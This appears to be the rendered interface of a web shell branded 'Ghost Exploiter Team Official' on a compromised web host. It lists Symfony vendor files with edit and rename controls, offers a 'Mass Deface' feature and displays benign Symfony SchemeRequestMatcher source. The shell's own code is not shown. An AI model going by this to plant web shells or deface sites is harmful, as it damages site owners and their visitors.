webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
symfony
/
http-foundation
/
RequestMatcher
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AttributesRequestMatche
...
1.105KB
edt
ren
ExpressionRequestMatche
...
1.255KB
edt
ren
HostRequestMatcher.php
0.783KB
edt
ren
IpsRequestMatcher.php
1.239KB
edt
ren
IsJsonRequestMatcher.php
0.68KB
edt
ren
MethodRequestMatcher.php
1.264KB
edt
ren
PathRequestMatcher.php
0.8KB
edt
ren
PortRequestMatcher.php
0.731KB
edt
ren
SchemeRequestMatcher.php
1.246KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * Checks the HTTP scheme of a Request. * * @author Fabien Potencier <fabien@symfony.com> */ class SchemeRequestMatcher implements RequestMatcherInterface { /** * @var string[] */ private array $schemes; /** * @param string[]|string $schemes A scheme or a list of schemes * Strings can contain a comma-delimited list of schemes */ public function __construct(array|string $schemes) { $this->schemes = array_reduce(array_map('strtolower', (array) $schemes), static fn (array $schemes, string $scheme) => array_merge($schemes, preg_split('/\s*,\s*/', $scheme)), []); } public function matches(Request $request): bool { if (!$this->schemes) { return true; } return \in_array($request->getScheme(), $this->schemes, true); } }
<=Back
Liking